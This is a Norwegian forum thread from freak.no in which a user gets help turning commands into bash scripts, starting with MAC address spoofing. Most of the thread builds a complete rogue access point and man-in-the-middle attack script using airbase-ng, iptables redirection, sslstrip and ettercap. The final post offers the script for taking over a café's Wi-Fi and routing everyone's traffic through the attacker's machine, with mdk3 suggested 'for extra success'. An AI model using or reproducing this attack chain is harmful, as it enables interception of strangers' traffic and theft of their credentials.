Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  11 4261
Hallo.
Jeg har noen komando linjer jeg har lyst til å lage som ett program, så jeg slipper å taste de manuelt hver gang jeg slår på maskinen.
Jeg har minimal til ingen erfaring innenfor de forskjellige programeringsspråkene.
Men tror dette skal være ganske enkelt, vist noen kunne laget ett eksempel program, av disse komandoene, skal jeg klare meg videre derrifra.

START

ifconfig wlan0 down
ifconfig wlan2 down
ifconfig eth0 down

macchanger wlan0 -r
macchanger wlan2 -r
macchanger eth0 -r

ifconfig wlan0 up
ifconfig wlan2 up
ifconfig eth0 up

END

Vist noen forklarer meg hvordan jeg lager en kjørbar fil. Hadde jeg sotte stor pris på det
Kan du ikke bare opprette et bash-script?

Kode

#!/bin/bash
ifconfig wlan0 down
ifconfig wlan2 down
ifconfig eth0 down

macchanger wlan0 -r
macchanger wlan2 -r
macchanger eth0 -r

ifconfig wlan0 up
ifconfig wlan2 up
ifconfig eth0 up

Kode

$ chmod +x "navn-på-fil"
$ ./navn-på-fil.sh
Det er rimelig enkelt, bare kopier følgende i en teksteditor og lagre det som <filnavn>.sh

Kode

#!/bin/sh

ifconfig wlan0 down
ifconfig wlan2 down 
ifconfig eth0 down

macchanger wlan0 -r
macchanger wlan2 -r
macchanger eth0 -r

ifconfig wlan0 up
ifconfig wlan2 up
ifconfig eth0 up
Sitat av Flaskepost Vis innlegg
Tror dette skal være mulig å lage en .BAT fil av. Om du søker litt på dette finner du nok ut av det. Husker jeg rett så skriver du bare kommandoene i en txt-fil for eksempel med notisblokk, også endrer du filendingen fra .txt til .bat.
Vis hele sitatet...
Hjelper lite å lage batch fil, når det er snakk om Linux.
Sitat av 0xFF Vis innlegg
Det er rimelig enkelt, bare kopier følgende i en teksteditor og lagre det som <filnavn>.sh

Kode

#!/bin/sh

ifconfig wlan0 down
ifconfig wlan2 down 
ifconfig eth0 down

macchanger wlan0 -r
macchanger wlan2 -r
macchanger eth0 -r

ifconfig wlan0 up
ifconfig wlan2 up
ifconfig eth0 up


Hjelper lite å lage batch fil, når det er snakk om Linux.
Vis hele sitatet...
Takk for hjelpen alle sammen Det sparer meg for MYE tid.

Det fuket som bare det

-#!/bin/sh - over komandoene
-lagre som macchanger.sh
-merk som exutable
-./macchanger.sh


Takk kompis

Ett siste spørsmål.
Hvordan åpner jeg ett nytt terminal vindu og får de etterfølgende komandoene til å bli utført i det nye vinduet, samtidig som de andre kjører i bakgrunnen.
Jeg prøvde å putte gnome-terminal i scripter der jeg ønsket ny terminal, men da ble det bare åpnet nytt terminalvindu og komandoene fortsatte i det første. Her er komandoene jeg prøver å få linket:



#!/bin/sh

airmon-ng start wlan0 11

airbase-ng -c 11 -e FakeAP wlan0mon

gnome-terminal-------------------------------------------------------------------------NY TERMINAL

ifconfig at0 10.0.0.1 netmask 255.255.255.0

ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1 #(route -n)

iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

/etc/init.d/isc-dhcp-server start

gnome-terminal-------------------------------------------------------------------------NY TERMINAL

sslstrip -f -p -k 10000

gnome-terminal-------------------------------------------------------------------------NY TERMINAL

ettercap -p -u -T -q -i at0

Satt og tenkte litt på det. Jeg delte det opp i fire .sh filer og får slutten av hvert script til å åpne det neste i rekken. Sitter på windows nå, av en eller annen grunn er wifien dorligere på Linux. Skal reboote nå og teste

Det fungerte ikke, jeg var nødt til å starte de fire filene hver for seg. Det er alikavel raskere, men det må være en måte til å gjøre det automatsk?
Sist endret av utepaanordnes; 26. oktober 2015 kl. 20:26. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Ridder av 1. klasse
Er det automatisk hacke script du lager eller?

Men i alle fall, du må skrive litt mer enn "gnome-terminal" for at det skal fungere.

Kode

gnome-terminal -e command
Her er et basic eksempel med to script, det første scriptet åpner det andre og kjører det.
Scriptene heter script1.sh og script2.sh


Første script

Kode

#!/bin/sh

echo "hello world"

gnome-terminal -e ./script2.sh
Andre script

Kode

#!/bin/sh

echo "hello freak"

top
Så hvis du deler opp scriptet ditt i fire, så kan de starte hverandre, etter hvert som de kjøre.
Sist endret av Mchjort; 26. oktober 2015 kl. 21:34. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Jeg laget ett start.sh script, men den åpner fremdelest alle scriptene i samme komando vindu, har også prøvd med gnome-terminal :

#!/bin/sh

./1.sh
sleep 5
./2.sh
sleep 10
./3.sh
sleep 5
./4.sh

#!/bin/sh

gnome-terminal -e ./1.sh
sleep 5
gnome-terminal -e ./2.sh
sleep 10
gnome-terminal -e ./3.sh
sleep 5
gnome-terminal -e ./4.sh

Det virker med gnome-terminal -e ./1.sh
Men den åpner terminalen kjører komandoen og lukker iløpetav ett sekund. Hva må jeg skrive for å holde terminalen åpen?
Sist endret av utepaanordnes; 26. oktober 2015 kl. 22:37. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Ridder av 1. klasse
Hvis du høyreklikker i terminal vinduet ditt, og velger Profiles --> Profile Prefernces --> Title (and Command) så kan du velge hva som skal skje når en kommando avsluttes. Tipper den kanskje står til "Exit the terminal", hvis du setter den til "Hold the terminal open", så skal det funke
Trigonoceps occipita
vidarlo's Avatar
Donor
http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html

Du får bruke eit par timer på å lære shellet å kjenne då.

Og ignorer at tutorialen er 15 år gammal. Bash har endra seg lite nok til at ei bok om shell-scripting fra 80-tallet ville fungert greit...
Sist endret av vidarlo; 26. oktober 2015 kl. 23:10.
Fikk det til til slutt, takk for hjelpen. Skal ta og se litt på den howtoèn

#!/bin/sh

gnome-terminal -e "bash -c /root/Desktop/Mappe/1.sh;bash"
sleep 5
gnome-terminal -e "bash -c /root/Desktop/Mappe/2.sh;bash"
sleep 10
gnome-terminal -e "bash -c /root/Desktop/Mappe/3.sh;bash"
sleep 5
gnome-terminal -e "bash -c /root/Desktop/FakeAP/4.sh;bash"
Husk å legge scriptet/scriptene på et greit sted slik at systemet ditt ikke blir rotete

f eks
/usr/bin/scriptnavn.sh eller
/opt/prosjektnavn/scriptnavn.sh
Sist endret av nudo; 27. oktober 2015 kl. 08:36.
▼ ... over et år senere ... ▼
Jeg var jo helt ute å kjøre, her er det endelige produktet jeg endte opp med:
____________________________________________________________ ___________________
#!/bin/sh

airmon-ng start wlan0 11

airbase-ng -c 11 -e FakeAP wlan0mon

gnome-terminal

ifconfig at0 10.0.0.1 netmask 255.255.255.0

ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1 #(route -n)

iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

/etc/init.d/isc-dhcp-server start

gnome-terminal

sslstrip -f -p -k 10000

gnome-terminal

ettercap -p -u -T -q -i at0
____________________________________________________________ ___________________
Husk å :
$ chmod +x "navn-på-fil"
$ ./navn-på-fil.sh


Ett automatisk skript som lager en "hotspot" på maskinen, rent hypotetisk kan du sette deg på Macken med en laptop, 2 netverkskort, overta nettet og sørge for at all trafikken går gjennom din maskin. Jeg har ikke teste dette andre steder en hjemme og det er lenge siden, vet ikke om sslstrip og ettecap virker som de skal.
Bruk mdk3 og whitelist ditt eget nettverk for ekstra suksess!